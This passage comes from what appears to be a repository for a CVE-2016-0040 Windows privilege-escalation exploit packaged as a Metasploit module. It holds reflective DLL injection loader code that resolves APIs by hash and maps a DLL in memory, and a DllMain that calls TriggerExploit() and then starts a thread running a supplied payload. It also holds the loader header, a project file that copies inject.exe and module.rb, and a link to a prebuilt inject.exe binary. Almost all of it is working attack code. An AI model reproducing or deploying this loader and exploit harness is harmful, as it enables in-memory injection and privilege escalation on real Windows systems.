); 145 | 146 | // compare the hash with that of kernel32.dll 147 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 148 | { 149 | // get this modules base address 150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 151 | 152 | // get the VA of the modules NT Header 153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 154 | 155 | // uiNameArray = the address of the modules export directory entry 156 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 157 | 158 | // get the VA of the export directory 159 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 160 | 161 | // get the VA for the array of name pointers 162 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 163 | 164 | // get the VA for the array of name ordinals 165 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 166 | 167 | usCounter = 3; 168 | 169 | // loop while we still have imports to find 170 | while( usCounter > 0 ) 171 | { 172 | // compute the hash values for this function name 173 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 174 | 175 | // if we have found a function we want we get its virtual address 176 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 177 | { 178 | // get the VA for the array of addresses 179 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 180 | 181 | // use this functions name ordinal as an index into the array of name pointers 182 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 183 | 184 | // store this functions VA 185 | if( dwHashValue == LOADLIBRARYA_HASH ) 186 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 187 | else if( dwHashValue == GETPROCADDRESS_HASH ) 188 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 189 | else if( dwHashValue == VIRTUALALLOC_HASH ) 190 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 191 | 192 | // decrement our counter 193 | usCounter--; 194 | } 195 | 196 | // get the next exported function name 197 | uiNameArray += sizeof(DWORD); 198 | 199 | // get the next exported function name ordinal 200 | uiNameOrdinals += sizeof(WORD); 201 | } 202 | } 203 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 204 | { 205 | // get this modules base address 206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 207 | 208 | // get the VA of the modules NT Header 209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 210 | 211 | // uiNameArray = the address of the modules export directory entry 212 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 213 | 214 | // get the VA of the export directory 215 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 216 | 217 | // get the VA for the array of name pointers 218 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 219 | 220 | // get the VA for the array of name ordinals 221 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 222 | 223 | usCounter = 1; 224 | 225 | // loop while we still have imports to find 226 | while( usCounter > 0 ) 227 | { 228 | // compute the hash values for this function name 229 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 230 | 231 | // if we have found a function we want we get its virtual address 232 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 233 | { 234 | // get the VA for the array of addresses 235 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 236 | 237 | // use this functions name ordinal as an index into the array of name pointers 238 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 239 | 240 | // store this functions VA 241 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 243 | 244 | // decrement our counter 245 | usCounter--; 246 | } 247 | 248 | // get the next exported function name 249 | uiNameArray += sizeof(DWORD); 250 | 251 | // get the next exported function name ordinal 252 | uiNameOrdinals += sizeof(WORD); 253 | } 254 | } 255 | 256 | // we stop searching when we have found everything we need. 257 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 258 | break; 259 | 260 | // get the next entry 261 | uiValueA = DEREF( uiValueA ); 262 | } 263 | 264 | // STEP 2: load our image into a new permanent location in memory... 265 | 266 | // get the VA of the NT Header for the PE to be loaded 267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 268 | 269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 272 | 273 | // we must now copy over the headers 274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 275 | uiValueB = uiLibraryAddress; 276 | uiValueC = uiBaseAddress; 277 | 278 | while( uiValueA-- ) 279 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 280 | 281 | // STEP 3: load in all of our sections... 282 | 283 | // uiValueA = the VA of the first section 284 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 285 | 286 | // itterate through all sections, loading them into memory. 287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 288 | while( uiValueE-- ) 289 | { 290 | // uiValueB is the VA for this section 291 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 292 | 293 | // uiValueC if the VA for this sections data 294 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 295 | 296 | // copy the section over 297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 298 | 299 | while( uiValueD-- ) 300 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 301 | 302 | // get the VA of the next section 303 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 304 | } 305 | 306 | // STEP 4: process our images import table... 307 | 308 | // uiValueB = the address of the import directory 309 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 310 | 311 | // we assume their is an import table to process 312 | // uiValueC is the first entry in the import table 313 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 314 | 315 | // itterate through all imports 316 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 317 | { 318 | // use LoadLibraryA to load the imported module into memory 319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 320 | 321 | // uiValueD = VA of the OriginalFirstThunk 322 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 323 | 324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 325 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 326 | 327 | // itterate through all imported functions, importing by ordinal if no name present 328 | while( DEREF(uiValueA) ) 329 | { 330 | // sanity check uiValueD as some compilers only import by FirstThunk 331 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 332 | { 333 | // get the VA of the modules NT Header 334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 335 | 336 | // uiNameArray = the address of the modules export directory entry 337 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 338 | 339 | // get the VA of the export directory 340 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 341 | 342 | // get the VA for the array of addresses 343 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 344 | 345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 346 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 347 | 348 | // patch in the address for this imported function 349 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 350 | } 351 | else 352 | { 353 | // get the VA of this functions import by name struct 354 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 355 | 356 | // use GetProcAddress and patch in the address for this imported function 357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 358 | } 359 | // get the next imported function 360 | uiValueA += sizeof( ULONG_PTR ); 361 | if( uiValueD ) 362 | uiValueD += sizeof( ULONG_PTR ); 363 | } 364 | 365 | // get the next import 366 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 367 | } 368 | 369 | // STEP 5: process all of our images relocations... 370 | 371 | // calculate the base address delta and perform relocations (even if we load at desired image base) 372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 373 | 374 | // uiValueB = the address of the relocation directory 375 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 376 | 377 | // check if their are any relocations present 378 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 379 | { 380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 381 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 382 | 383 | // and we itterate through all entries... 384 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 385 | { 386 | // uiValueA = the VA for this relocation block 387 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 388 | 389 | // uiValueB = number of entries in this relocation block 390 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 391 | 392 | // uiValueD is now the first entry in the current relocation block 393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 394 | 395 | // we itterate through all the entries in the current block... 396 | while( uiValueB-- ) 397 | { 398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 399 | // we dont use a switch statement to avoid the compiler building a jump table 400 | // which would not be very position independent! 401 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 402 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 403 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 404 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 405 | #ifdef WIN_ARM 406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 407 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 408 | { 409 | register DWORD dwInstruction; 410 | register DWORD dwAddress; 411 | register WORD wImm; 412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 413 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 414 | // flip the words to get the instruction as expected 415 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 416 | // sanity chack we are processing a MOV instruction... 417 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 418 | { 419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 420 | wImm = (WORD)( dwInstruction & 0x000000FF); 421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 424 | // apply the relocation to the target address 425 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 426 | // now create a new instruction with the same opcode and register param. 427 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 428 | // patch in the relocated address... 429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 433 | // now flip the instructions words and patch back into the code... 434 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 435 | } 436 | } 437 | #endif 438 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 439 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 440 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 441 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 442 | 443 | // get the next entry in the current relocation block 444 | uiValueD += sizeof( IMAGE_RELOC ); 445 | } 446 | 447 | // get the next entry in the relocation directory 448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 449 | } 450 | } 451 | 452 | // STEP 6: call our images entry point 453 | 454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 455 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 456 | 457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 458 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 459 | 460 | // call our respective entry point, fudging our hInstance value 461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 463 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 464 | #else 465 | // if we are injecting an DLL via a stub we call DllMain with no parameter 466 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 467 | #endif 468 | 469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 470 | return uiValueA; 471 | } 472 | //===============================================================================================// 473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 474 | 475 | #include 476 | 477 | #include 478 | 479 | DWORD WINAPI ExecutePayload(LPVOID lpPayload) 480 | { 481 | VOID(*lpCode)() = (VOID(*)())lpPayload; 482 | lpCode(); 483 | 484 | return ERROR_SUCCESS; 485 | } 486 | 487 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 488 | { 489 | BOOL bReturnValue = TRUE; 490 | switch( dwReason ) 491 | { 492 | case DLL_QUERY_HMODULE: 493 | if( lpReserved != NULL ) 494 | *(HMODULE *)lpReserved = hAppInstance; 495 | break; 496 | case DLL_PROCESS_ATTACH: 497 | hAppInstance = hinstDLL; 498 | if (TriggerExploit() == TRUE) { 499 | printf("[+] Exploitation Completed\n"); 500 | if (lpReserved != NULL) { 501 | printf("[+] Launching Payload\n"); 502 | CreateThread(0, 0, &ExecutePayload, lpReserved, 0, NULL); 503 | } 504 | } 505 | else { 506 | printf("[-] Exploitation Failed\n"); 507 | } 508 | 509 | break; 510 | case DLL_PROCESS_DETACH: 511 | case DLL_THREAD_ATTACH: 512 | case DLL_THREAD_DETACH: 513 | break; 514 | } 515 | return bReturnValue; 516 | } 517 | 518 | #endif 519 | //===============================================================================================// 520 | -------------------------------------------------------------------------------- /Metasploit/Metasploit.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | #include 34 | #include 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID); 45 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); 50 | typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); 51 | typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); 52 | typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); 53 | 54 | #define KERNEL32DLL_HASH 0x6A4ABC5B 55 | #define NTDLLDLL_HASH 0x3CFA685D 56 | 57 | #define LOADLIBRARYA_HASH 0xEC0E4E8E 58 | #define GETPROCADDRESS_HASH 0x7C0DFCAA 59 | #define VIRTUALALLOC_HASH 0x91AFCA54 60 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 61 | 62 | #define IMAGE_REL_BASED_ARM_MOV32A 5 63 | #define IMAGE_REL_BASED_ARM_MOV32T 7 64 | 65 | #define ARM_MOV_MASK (DWORD)(0xFBF08000) 66 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) 67 | #define ARM_MOVW 0xF2400000 68 | #define ARM_MOVT 0xF2C00000 69 | 70 | #define HASH_KEY 13 71 | //===============================================================================================// 72 | #pragma intrinsic( _rotr ) 73 | 74 | __forceinline DWORD ror( DWORD d ) 75 | { 76 | return _rotr( d, HASH_KEY ); 77 | } 78 | 79 | __forceinline DWORD hash( char * c ) 80 | { 81 | register DWORD h = 0; 82 | do 83 | { 84 | h = ror( h ); 85 | h += *c; 86 | } while( *++c ); 87 | 88 | return h; 89 | } 90 | //===============================================================================================// 91 | typedef struct _UNICODE_STR 92 | { 93 | USHORT Length; 94 | USHORT MaximumLength; 95 | PWSTR pBuffer; 96 | } UNICODE_STR, *PUNICODE_STR; 97 | 98 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY 99 | //__declspec( align(8) ) 100 | typedef struct _LDR_DATA_TABLE_ENTRY 101 | { 102 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. 103 | LIST_ENTRY InMemoryOrderModuleList; 104 | LIST_ENTRY InInitializationOrderModuleList; 105 | PVOID DllBase; 106 | PVOID EntryPoint; 107 | ULONG SizeOfImage; 108 | UNICODE_STR FullDllName; 109 | UNICODE_STR BaseDllName; 110 | ULONG Flags; 111 | SHORT LoadCount; 112 | SHORT TlsIndex; 113 | LIST_ENTRY HashTableEntry; 114 | ULONG TimeDateStamp; 115 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; 116 | 117 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA 118 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes 119 | { 120 | DWORD dwLength; 121 | DWORD dwInitialized; 122 | LPVOID lpSsHandle; 123 | LIST_ENTRY InLoadOrderModuleList; 124 | LIST_ENTRY InMemoryOrderModuleList; 125 | LIST_ENTRY InInitializationOrderModuleList; 126 | LPVOID lpEntryInProgress; 127 | } PEB_LDR_DATA, * PPEB_LDR_DATA; 128 | 129 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK 130 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes 131 | { 132 | struct _PEB_FREE_BLOCK * pNext; 133 | DWORD dwSize; 134 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; 135 | 136 | // struct _PEB is defined in Winternl.h but it is incomplete 137 | // WinDbg> dt -v ntdll!_PEB 138 | typedef struct __PEB // 65 elements, 0x210 bytes 139 | { 140 | BYTE bInheritedAddressSpace; 141 | BYTE bReadImageFileExecOptions; 142 | BYTE bBeingDebugged; 143 | BYTE bSpareBool; 144 | LPVOID lpMutant; 145 | LPVOID lpImageBaseAddress; 146 | PPEB_LDR_DATA pLdr; 147 | LPVOID lpProcessParameters; 148 | LPVOID lpSubSystemData; 149 | LPVOID lpProcessHeap; 150 | PRTL_CRITICAL_SECTION pFastPebLock; 151 | LPVOID lpFastPebLockRoutine; 152 | LPVOID lpFastPebUnlockRoutine; 153 | DWORD dwEnvironmentUpdateCount; 154 | LPVOID lpKernelCallbackTable; 155 | DWORD dwSystemReserved; 156 | DWORD dwAtlThunkSListPtr32; 157 | PPEB_FREE_BLOCK pFreeList; 158 | DWORD dwTlsExpansionCounter; 159 | LPVOID lpTlsBitmap; 160 | DWORD dwTlsBitmapBits[2]; 161 | LPVOID lpReadOnlySharedMemoryBase; 162 | LPVOID lpReadOnlySharedMemoryHeap; 163 | LPVOID lpReadOnlyStaticServerData; 164 | LPVOID lpAnsiCodePageData; 165 | LPVOID lpOemCodePageData; 166 | LPVOID lpUnicodeCaseTableData; 167 | DWORD dwNumberOfProcessors; 168 | DWORD dwNtGlobalFlag; 169 | LARGE_INTEGER liCriticalSectionTimeout; 170 | DWORD dwHeapSegmentReserve; 171 | DWORD dwHeapSegmentCommit; 172 | DWORD dwHeapDeCommitTotalFreeThreshold; 173 | DWORD dwHeapDeCommitFreeBlockThreshold; 174 | DWORD dwNumberOfHeaps; 175 | DWORD dwMaximumNumberOfHeaps; 176 | LPVOID lpProcessHeaps; 177 | LPVOID lpGdiSharedHandleTable; 178 | LPVOID lpProcessStarterHelper; 179 | DWORD dwGdiDCAttributeList; 180 | LPVOID lpLoaderLock; 181 | DWORD dwOSMajorVersion; 182 | DWORD dwOSMinorVersion; 183 | WORD wOSBuildNumber; 184 | WORD wOSCSDVersion; 185 | DWORD dwOSPlatformId; 186 | DWORD dwImageSubsystem; 187 | DWORD dwImageSubsystemMajorVersion; 188 | DWORD dwImageSubsystemMinorVersion; 189 | DWORD dwImageProcessAffinityMask; 190 | DWORD dwGdiHandleBuffer[34]; 191 | LPVOID lpPostProcessInitRoutine; 192 | LPVOID lpTlsExpansionBitmap; 193 | DWORD dwTlsExpansionBitmapBits[32]; 194 | DWORD dwSessionId; 195 | ULARGE_INTEGER liAppCompatFlags; 196 | ULARGE_INTEGER liAppCompatFlagsUser; 197 | LPVOID lppShimData; 198 | LPVOID lpAppCompatInfo; 199 | UNICODE_STR usCSDVersion; 200 | LPVOID lpActivationContextData; 201 | LPVOID lpProcessAssemblyStorageMap; 202 | LPVOID lpSystemDefaultActivationContextData; 203 | LPVOID lpSystemAssemblyStorageMap; 204 | DWORD dwMinimumStackCommit; 205 | } _PEB, * _PPEB; 206 | 207 | typedef struct 208 | { 209 | WORD offset:12; 210 | WORD type:4; 211 | } IMAGE_RELOC, *PIMAGE_RELOC; 212 | //===============================================================================================// 213 | #endif 214 | //===============================================================================================// 215 | -------------------------------------------------------------------------------- /Metasploit/Metasploit.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | 15.0 15 | {FA3D34B4-CF0A-4FEE-8AEA-4A657FC61CEF} 16 | Metasploit 17 | 10.0.15063.0 18 | 19 | 20 | 21 | DynamicLibrary 22 | true 23 | v141 24 | MultiByte 25 | 26 | 27 | DynamicLibrary 28 | false 29 | v141 30 | true 31 | MultiByte 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | Level3 49 | MaxSpeed 50 | true 51 | true 52 | true 53 | WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) 54 | $(SolutionDir);%(AdditionalIncludeDirectories) 55 | MultiThreaded 56 | 57 | 58 | true 59 | true 60 | $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) 61 | 62 | 63 | xcopy /y $(SolutionDir)$(ProjectName)\inject.exe $(SolutionDir)$(Platform)\$(Configuration)\ 64 | xcopy /y $(SolutionDir)$(ProjectName)\module.rb $(SolutionDir)$(Platform)\$(Configuration)\ 65 | xcopy /y $(SolutionDir)$(ProjectName)\install.sh $(SolutionDir)$(Platform)\$(Configuration)\ 66 | xcopy /y $(SolutionDir)$(ProjectName)\uninstall.sh $(SolutionDir)$(Platform)\$(Configuration)\ 67 | 68 | 69 | Copy Executable And Module 70 | 71 | 72 | 73 | 74 | Level3 75 | Disabled 76 | true 77 | WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;%(PreprocessorDefinitions) 78 | $(SolutionDir);%(AdditionalIncludeDirectories) 79 | MultiThreadedDebug 80 | 81 | 82 | $(SolutionDir)$(Platform)\$(Configuration)\Library.lib;ntdll.lib;%(AdditionalDependencies) 83 | 84 | 85 | xcopy /y $(SolutionDir)$(ProjectName)\inject.exe $(SolutionDir)$(Platform)\$(Configuration)\ 86 | xcopy /y $(SolutionDir)$(ProjectName)\module.rb $(SolutionDir)$(Platform)\$(Configuration)\ 87 | xcopy /y $(SolutionDir)$(ProjectName)\install.sh $(SolutionDir)$(Platform)\$(Configuration)\ 88 | xcopy /y $(SolutionDir)$(ProjectName)\uninstall.sh $(SolutionDir)$(Platform)\$(Configuration)\ 89 | 90 | 91 | Copy Executable And Module 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /Metasploit/inject.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/de7ec7ed/CVE-2016-0040/957ea9e8f5c870a696f2f43ea6ee847e1e3fca6b/Metasploit/inject.exe 